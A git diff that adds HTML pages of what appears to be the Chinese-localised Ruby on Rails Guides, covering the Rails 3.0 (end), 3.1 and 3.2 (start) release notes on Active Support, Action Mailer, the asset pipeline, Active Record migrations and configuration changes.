A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

+
    +
  • Large clean up of the library removing unused methods throughout.
  • +
  • Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the bundle install command.
  • +
  • Safe buffers are implemented in ActiveSupport::SafeBuffer.
  • +
  • Added Array.uniq_by and Array.uniq_by!.
  • +
  • Removed Array#rand and backported Array#sample from Ruby 1.9.
  • +
  • Fixed bug on TimeZone.seconds_to_utc_offset returning wrong value.
  • +
  • Added ActiveSupport::Notifications middleware.
  • +
  • +ActiveSupport.use_standard_json_time_format now defaults to true.
  • +
  • +ActiveSupport.escape_html_entities_in_json now defaults to false.
  • +
  • +Integer#multiple_of? accepts zero as an argument, returns false unless the receiver is zero.
  • +
  • +string.chars has been renamed to string.mb_chars.
  • +
  • +ActiveSupport::OrderedHash now can de-serialize through YAML.
  • +
  • Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
  • +
  • Added Object#presence that returns the object if it's #present? otherwise returns nil.
  • +
  • Added String#exclude? core extension that returns the inverse of #include?.
  • +
  • Added to_i to DateTime in ActiveSupport so to_yaml works correctly on models with DateTime attributes.
  • +
  • Added Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?.
  • +
  • Switch to on-by-default XSS escaping for rails.
  • +
  • Support deep-merging in ActiveSupport::HashWithIndifferentAccess.
  • +
  • +Enumerable#sum now works will all enumerables, even if they don't respond to :size.
  • +
  • +inspect on a zero length duration returns '0 seconds' instead of empty string.
  • +
  • Add element and collection to ModelName.
  • +
  • +String#to_time and String#to_datetime handle fractional seconds.
  • +
  • Added support to new callbacks for around filter object that respond to :before and :after used in before and after callbacks.
  • +
  • The ActiveSupport::OrderedHash#to_a method returns an ordered set of arrays. Matches Ruby 1.9's Hash#to_a.
  • +
  • +MissingSourceFile exists as a constant but it is now just equal to LoadError.
  • +
  • Added Class#class_attribute, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
  • +
  • Finally removed DeprecatedCallbacks in ActiveRecord::Associations.
  • +
  • +Object#metaclass is now Kernel#singleton_class to match Ruby.
  • +
+

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

+
    +
  • +Integer#even? and Integer#odd? +
  • +
  • String#each_char
  • +
  • +String#start_with? and String#end_with? (3rd person aliases still kept)
  • +
  • String#bytesize
  • +
  • Object#tap
  • +
  • Symbol#to_proc
  • +
  • Object#instance_variable_defined?
  • +
  • Enumerable#none?
  • +
+

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

+
    +
  • Kernel#daemonize
  • +
  • +Object#remove_subclasses_of Object#extend_with_included_modules_from, Object#extended_by +
  • +
  • Class#remove_class
  • +
  • +Regexp#number_of_captures, Regexp.unoptionalize, Regexp.optionalize, Regexp#number_of_captures +
  • +
+

12 Action Mailer

Action Mailer has been given a new API with TMail being replaced out with the new Mail as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

+
    +
  • All mailers are now in app/mailers by default.
  • +
  • Can now send email using new API with three methods: attachments, headers and mail.
  • +
  • Action Mailer now has native support for inline attachments using the attachments.inline method.
  • +
  • Action Mailer emailing methods now return Mail::Message objects, which can then be sent the deliver message to send itself.
  • +
  • All delivery methods are now abstracted out to the Mail gem.
  • +
  • The mail delivery method can accept a hash of all valid mail header fields with their value pair.
  • +
  • The mail delivery method acts in a similar way to Action Controller's respond_to, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
  • +
  • You can pass a proc to the format.mime_type calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The render call inside the proc is from Abstract Controller and supports the same options.
  • +
  • What were mailer unit tests have been moved to functional tests.
  • +
  • Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
  • +
  • Action Mailer will auto encode email bodies and headers for you
  • +
+

Deprecations:

+
    +
  • +:charset, :content_type, :mime_version, :implicit_parts_order are all deprecated in favor of ActionMailer.default :key => value style declarations.
  • +
  • Mailer dynamic create_method_name and deliver_method_name are deprecated, just call method_name which now returns a Mail::Message object.
  • +
  • +ActionMailer.deliver(message) is deprecated, just call message.deliver.
  • +
  • +template_root is deprecated, pass options to a render call inside a proc from the format.mime_type method inside the mail generation block
  • +
  • The body method to define instance variables is deprecated (body {:ivar => value}), just declare instance variables in the method directly and they will be available in the view.
  • +
  • Mailers being in app/models is deprecated, use app/mailers instead.
  • +
+

More Information:

+ +

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/3_1_release_notes.html b/3_1_release_notes.html new file mode 100644 index 0000000..5723238 --- /dev/null +++ b/3_1_release_notes.html @@ -0,0 +1,751 @@ + + + + + + + +Ruby on Rails 3.1 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 3.1 Release Notes

Highlights in Rails 3.1:

+ +

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:

1.1 Rails 3.1 requires at least Ruby 1.8.7

Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.

1.2 What to update in your apps

The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.

1.2.1 Gemfile

Make the following changes to your Gemfile.

+
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+
+
+
+
1.2.2 config/application.rb
+
    +
  • +

    The asset pipeline requires the following additions:

    +
    +
    +config.assets.enabled = true
    +config.assets.version = '1.0'
    +
    +
    +
    +
  • +
  • +

    If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:

    +
    +
    +# Defaults to '/assets'
    +config.assets.prefix = '/asset-files'
    +
    +
    +
    +
  • +
+
1.2.3 config/environments/development.rb
+
    +
  • Remove the RJS setting config.action_view.debug_rjs = true.

  • +
  • +

    Add the following, if you enable the asset pipeline.

    +
    +
    +# Do not compress assets
    +config.assets.compress = false
    +
    +# Expands the lines which load the assets
    +config.assets.debug = true
    +
    +
    +
    +
  • +
+
1.2.4 config/environments/production.rb
+
    +
  • +

    Again, most of the changes below are for the asset pipeline. You can read more about these in the Asset Pipeline guide.

    +
    +
    +# Compress JavaScripts and CSS
    +config.assets.compress = true
    +
    +# Don't fallback to assets pipeline if a precompiled asset is missed
    +config.assets.compile = false
    +
    +# Generate digests for assets URLs
    +config.assets.digest = true
    +
    +# Defaults to Rails.root.join("public/assets")
    +# config.assets.manifest = YOUR_PATH
    +
    +# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
    +# config.assets.precompile `= %w( search.js )
    +
    +# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
    +# config.force_ssl = true
    +
    +
    +
    +
  • +
+
1.2.5 config/environments/test.rb
+
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+
+
+
+
1.2.6 config/initializers/wrap_parameters.rb
+
    +
  • +

    Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.

    +
    +
    +# Be sure to restart your server when you modify this file.
    +# This file contains settings for ActionController::ParamsWrapper which
    +# is enabled by default.
    +
    +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
    +ActiveSupport.on_load(:action_controller) do
    +  wrap_parameters :format => [:json]
    +end
    +
    +# Disable root element in JSON by default.
    +ActiveSupport.on_load(:active_record) do
    +  self.include_root_in_json = false
    +end
    +
    +
    +
    +
  • +
+
1.2.7 Remove :cache and :concat options in asset helpers references in views
+
    +
  • With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
  • +
+

2 Creating a Rails 3.1 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: - bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Rails Architectural Changes

3.1 Assets Pipeline

The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.

The assets pipeline is powered by Sprockets and is covered in the Asset Pipeline guide.

3.2 HTTP Streaming

HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it.

3.3 Default JS library is now jQuery

jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.

+
+$ rails new myapp -j prototype
+
+
+
+

3.4 Identity Map

Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.

Rails 3.1 comes with the identity map turned off by default.

4 Railties

+
    +
  • jQuery is the new default JavaScript library.

  • +
  • jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.

  • +
  • The application generator accepts an option -j which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.

  • +
  • Generating an application or a plugin runs bundle install unless --skip-gemfile or --skip-bundle is specified.

  • +
  • The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use CoffeeScript and Sass, if those libraries are available.

  • +
  • Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, --old-style-hash can be passed.

  • +
  • Scaffold controller generator creates format block for JSON instead of XML.

  • +
  • Active Record logging is directed to STDOUT and shown inline in the console.

  • +
  • Added config.force_ssl configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol.

  • +
  • Added rails plugin new command which generates a Rails plugin with gemspec, tests and a dummy application for testing.

  • +
  • Added Rack::Etag and Rack::ConditionalGet to the default middleware stack.

  • +
  • Added Rack::Cache to the default middleware stack.

  • +
  • Engines received a major update - You can mount them at any path, enable assets, run generators etc.

  • +
+

5 Action Pack

5.1 Action Controller

+
    +
  • A warning is given out if the CSRF token authenticity cannot be verified.

  • +
  • Specify force_ssl in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, :only or :except can be used.

  • +
  • Sensitive query string parameters specified in config.filter_parameters will now be filtered out from the request paths in the log.

  • +
  • URL parameters which return nil for to_param are now removed from the query string.

  • +
  • Added ActionController::ParamsWrapper to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in config/initializers/wrap_parameters.rb.

  • +
  • Added config.action_controller.include_all_helpers. By default helper :all is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).

  • +
  • url_for and named url helpers now accept :subdomain and :domain as options.

  • +
  • +

    Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call.

    +
    +
    +class PostsController < ApplicationController
    +  USER_NAME, PASSWORD = "dhh", "secret"
    +
    +  before_filter :authenticate, :except => [ :index ]
    +
    +  def index
    +    render :text => "Everyone can see me!"
    +  end
    +
    +  def edit
    +    render :text => "I'm only accessible if you know the password"
    +  end
    +
    +  private
    +    def authenticate
    +      authenticate_or_request_with_http_basic do |user_name, password|
    +        user_name == USER_NAME && password == PASSWORD
    +      end
    +    end
    +end
    +
    +
    +
    +

    ..can now be written as

    +
    +
    +class PostsController < ApplicationController
    +  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
    +
    +  def index
    +    render :text => "Everyone can see me!"
    +  end
    +
    +  def edit
    +    render :text => "I'm only accessible if you know the password"
    +  end
    +end
    +
    +
    +
    +
  • +
  • +

    Added streaming support, you can enable it with:

    +
    +
    +class PostsController < ActionController::Base
    +  stream
    +end
    +
    +
    +
    +

    You can restrict it to some actions by using :only or :except. Please read the docs at ActionController::Streaming for more information.

    +
  • +
  • The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.

  • +
+

5.2 Action Dispatch

+
    +
  • config.action_dispatch.x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set any particular value for it. This allows servers to set it through X-Sendfile-Type.

  • +
  • ActionDispatch::MiddlewareStack now uses composition over inheritance and is no longer an array.

  • +
  • Added ActionDispatch::Request.ignore_accept_header to ignore accept headers.

  • +
  • Added Rack::Cache to the default stack.

  • +
  • Moved etag responsibility from ActionDispatch::Response to the middleware stack.

  • +
  • Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept four arguments and requires #destroy_session instead of simply #destroy.

  • +
  • Template lookup now searches further up in the inheritance chain.

  • +
+

5.3 Action View

+
    +
  • Added an :authenticity_token option to form_tag for custom handling or to omit the token by passing :authenticity_token => false.

  • +
  • Created ActionView::Renderer and specified an API for ActionView::Context.

  • +
  • In place SafeBuffer mutation is prohibited in Rails 3.1.

  • +
  • Added HTML5 button_tag helper.

  • +
  • file_field automatically adds :multipart => true to the enclosing form.

  • +
  • +

    Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:

    +
    +
    +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
    +# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
    +
    +
    +
    +
  • +
+

Keys are dasherized. Values are JSON-encoded, except for strings and symbols.

+
    +
  • csrf_meta_tag is renamed to csrf_meta_tags and aliases csrf_meta_tag for backwards compatibility.

  • +
  • The old template handler API is deprecated and the new API simply requires a template handler to respond to call.

  • +
  • rhtml and rxml are finally removed as template handlers.

  • +
  • config.action_view.cache_template_loading is brought back which allows to decide whether templates should be cached or not.

  • +
  • The submit form helper does not generate an id "object_name_id" anymore.

  • +
  • Allows FormHelper#form_for to specify the :method as a direct option instead of through the :html hash. form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete }).

  • +
  • Provided JavaScriptHelper#j() as an alias for JavaScriptHelper#escape_javascript(). This supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper.

  • +
  • Allows AM/PM format in datetime selectors.

  • +
  • auto_link has been removed from Rails and extracted into the rails_autolink gem

  • +
+

6 Active Record

+
    +
  • +

    Added a class method pluralize_table_names to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names.

    +
    +
    +class User < ActiveRecord::Base
    +  self.pluralize_table_names = false
    +end
    +
    +
    +
    +
  • +
  • +

    Added block setting of attributes to singular associations. The block will get called after the instance is initialized.

    +
    +
    +class User < ActiveRecord::Base
    +  has_one :account
    +end
    +
    +user.build_account{ |a| a.credit_limit = 100.0 }
    +
    +
    +
    +
  • +
  • Added ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.

  • +
  • CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.

  • +
  • +

    ActiveRecord#new, ActiveRecord#create and ActiveRecord#update_attributes all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:

    +
    +
    +class Post < ActiveRecord::Base
    +  attr_accessible :title
    +  attr_accessible :title, :published_at, :as => :admin
    +end
    +
    +Post.new(params[:post], :as => :admin)
    +
    +
    +
    +
  • +
  • default_scope can now take a block, lambda, or any other object which responds to call for lazy evaluation.

  • +
  • Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.

  • +
  • PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.

  • +
  • ConnectionManagement middleware is changed to clean up the connection pool after the rack body has been flushed.

  • +
  • Added an update_column method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use update_attributes or update_attribute unless you are sure you do not want to execute any callback, including the modification of the updated_at column. It should not be called on new records.

  • +
  • Associations with a :through option can now use any association as the through or source association, including other associations which have a :through option and has_and_belongs_to_many associations.

  • +
  • The configuration for the current database connection is now accessible via ActiveRecord::Base.connection_config.

  • +
  • +

    limits and offsets are removed from COUNT queries unless both are supplied.

    +
    +
    +People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
    +People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
    +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
    +
    +
    +
    +
  • +
  • ActiveRecord::Associations::AssociationProxy has been split. There is now an Association class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called CollectionProxy, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.

  • +
  • Singular associations (has_one, belongs_to) no longer have a proxy and simply returns the associated record or nil. This means that you should not use undocumented methods such as bob.mother.create - use bob.create_mother instead.

  • +
  • Support the :dependent option on has_many :through associations. For historical and practical reasons, :delete_all is the default deletion strategy employed by association.delete(*records), despite the fact that the default strategy is :nullify for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.

  • +
  • The behavior of association.destroy for has_and_belongs_to_many and has_many :through is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.

  • +
  • Previously, has_and_belongs_to_many.destroy(*records) would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.

  • +
  • Previously, has_many_through.destroy(*records) would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.

  • +
  • Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do records.association.each(&:destroy).

  • +
  • +

    Add :bulk => true option to change_table to make all the schema changes defined in a block using a single ALTER statement.

    +
    +
    +change_table(:users, :bulk => true) do |t|
    +  t.string :company_name
    +  t.change :birthdate, :datetime
    +end
    +
    +
    +
    +
  • +
  • Removed support for accessing attributes on a has_and_belongs_to_many join table. has_many :through needs to be used.

  • +
  • Added a create_association! method for has_one and belongs_to associations.

  • +
  • +

    Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the change method.

    +
    +
    +class MyMigration < ActiveRecord::Migration
    +  def change
    +    create_table(:horses) do |t|
    +      t.column :content, :text
    +      t.column :remind_at, :datetime
    +    end
    +  end
    +end
    +
    +
    +
    +
  • +
  • Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define up and down in your migration. If you define something in change that cannot be reversed, an IrreversibleMigration exception will be raised when going down.

  • +
  • +

    Migrations now use instance methods rather than class methods:

    +
    +
    +class FooMigration < ActiveRecord::Migration
    +  def up # Not self.up
    +    ...
    +  end
    +end
    +
    +
    +
    +
  • +
  • Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's change method instead of the ordinary up and down methods.

  • +
  • +

    Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.

    +
    +
    +has_many :things, :conditions => 'foo = #{bar}'          # before
    +has_many :things, :conditions => proc { "foo = #{bar}" } # after
    +
    +
    +
    +

    Inside the proc, self is the object which is the owner of the association, unless you are eager loading the association, in which case self is the class which the association is within.

    +

    You can have any "normal" conditions inside the proc, so the following will work too:

    +
    +
    +has_many :things, :conditions => proc { ["foo = ?", bar] }
    +
    +
    +
    +
  • +
  • Previously :insert_sql and :delete_sql on has_and_belongs_to_many association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.

  • +
  • +

    Added ActiveRecord::Base#has_secure_password (via ActiveModel::SecurePassword) to encapsulate dead-simple password usage with BCrypt encryption and salting.

    +
    +
    +# Schema: User(name:string, password_digest:string, password_salt:string)
    +class User < ActiveRecord::Base
    +  has_secure_password
    +end
    +
    +
    +
    +
  • +
  • When a model is generated add_index is added by default for belongs_to or references columns.

  • +
  • Setting the id of a belongs_to object will update the reference to the object.

  • +
  • ActiveRecord::Base#dup and ActiveRecord::Base#clone semantics have changed to closer match normal Ruby dup and clone semantics.

  • +
  • Calling ActiveRecord::Base#clone will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.

  • +
  • Calling ActiveRecord::Base#dup will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return true for new_record?, have a nil id field, and is saveable.

  • +
  • The query cache now works with prepared statements. No changes in the applications are required.

  • +
+

7 Active Model

+
    +
  • attr_accessible accepts an option :as to specify a role.

  • +
  • InclusionValidator, ExclusionValidator, and FormatValidator now accepts an option which can be a proc, a lambda, or anything that respond to call. This option will be called with the current record as an argument and returns an object which respond to include? for InclusionValidator and ExclusionValidator, and returns a regular expression object for FormatValidator.

  • +
  • Added ActiveModel::SecurePassword to encapsulate dead-simple password usage with BCrypt encryption and salting.

  • +
  • ActiveModel::AttributeMethods allows attributes to be defined on demand.

  • +
  • Added support for selectively enabling and disabling observers.

  • +
  • Alternate I18n namespace lookup is no longer supported.

  • +
+

8 Active Resource

+
    +
  • +

    The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set self.format = :xml in the class. For example,

    +
    +
    +class User < ActiveResource::Base
    +  self.format = :xml
    +end
    +
    +
    +
    +
  • +
+

9 Active Support

+
    +
  • ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant.

  • +
  • Added a new reporting method Kernel#quietly which silences both STDOUT and STDERR.

  • +
  • Added String#inquiry as a convenience method for turning a String into a StringInquirer object.

  • +
  • Added Object#in? to test if an object is included in another object.

  • +
  • LocalCache strategy is now a real middleware class and no longer an anonymous class.

  • +
  • ActiveSupport::Dependencies::ClassCache class has been introduced for holding references to reloadable classes.

  • +
  • ActiveSupport::Dependencies::Reference has been refactored to take direct advantage of the new ClassCache.

  • +
  • Backports Range#cover? as an alias for Range#include? in Ruby 1.8.

  • +
  • Added weeks_ago and prev_week to Date/DateTime/Time.

  • +
  • Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants!.

  • +
+

Deprecations:

+
    +
  • +ActiveSupport::SecureRandom is deprecated in favor of SecureRandom from the Ruby standard library.
  • +
+

10 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.1 Release Notes were compiled by Vijay Dev

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/3_2_release_notes.html b/3_2_release_notes.html new file mode 100644 index 0000000..6317e81 --- /dev/null +++ b/3_2_release_notes.html @@ -0,0 +1,808 @@ + + + + + + + +Ruby on Rails 3.2 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 3.2 Release Notes

Highlights in Rails 3.2:

+ +

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:

1.1 Rails 3.2 requires at least Ruby 1.8.7

Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.

Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.

1.2 What to update in your apps

+
    +
  • +

    Update your Gemfile to depend on

    +
      +
    • rails = 3.2.0
    • +
    • sass-rails ~> 3.2.3
    • +
    • coffee-rails ~> 3.2.1
    • +
    • uglifier >= 1.0.3
    • +
    +
  • +
  • Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, lib/my_plugin/* and add an appropriate initializer in config/initializers/my_plugin.rb.

  • +
  • +

    There are a couple of new configuration changes you'd want to add in config/environments/development.rb:

    +
    +
    +# Raise exception on mass assignment protection for Active Record models
    +config.active_record.mass_assignment_sanitizer = :strict
    +
    +# Log the query plan for queries taking more than this (works
    +# with SQLite, MySQL, and PostgreSQL)
    +config.active_record.auto_explain_threshold_in_seconds = 0.5
    +
    +
    +
    +

    The mass_assignment_sanitizer config also needs to be added in config/environments/test.rb:

    +
    +
    +# Raise exception on mass assignment protection for Active Record models
    +config.active_record.mass_assignment_sanitizer = :strict
    +
    +
    +
    +
  • +
+

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the following content:

+
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+
+
+
+

2 Creating a Rails 3.2 application

+
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Major Features

3.1 Faster Development Mode & Routing

Rails 3.2 comes with a development mode that's noticeably faster. Inspired by Active Reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new Journey engine.

3.2 Automatic Query Explains

Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an explain method in ActiveRecord::Relation. For example, you can run something like puts Person.active.limit(5).explain and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations.

Queries that take more than half a second to run are automatically explained in the development mode. This threshold, of course, can be changed.

3.3 Tagged Logging

When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.

4 Documentation

From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties

+
    +
  • Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting config.reload_classes_only_on_change to false.

  • +
  • New applications get a flag config.active_record.auto_explain_threshold_in_seconds in the environments configuration files. With a value of 0.5 in development.rb and commented out in production.rb. No mention in test.rb.

  • +
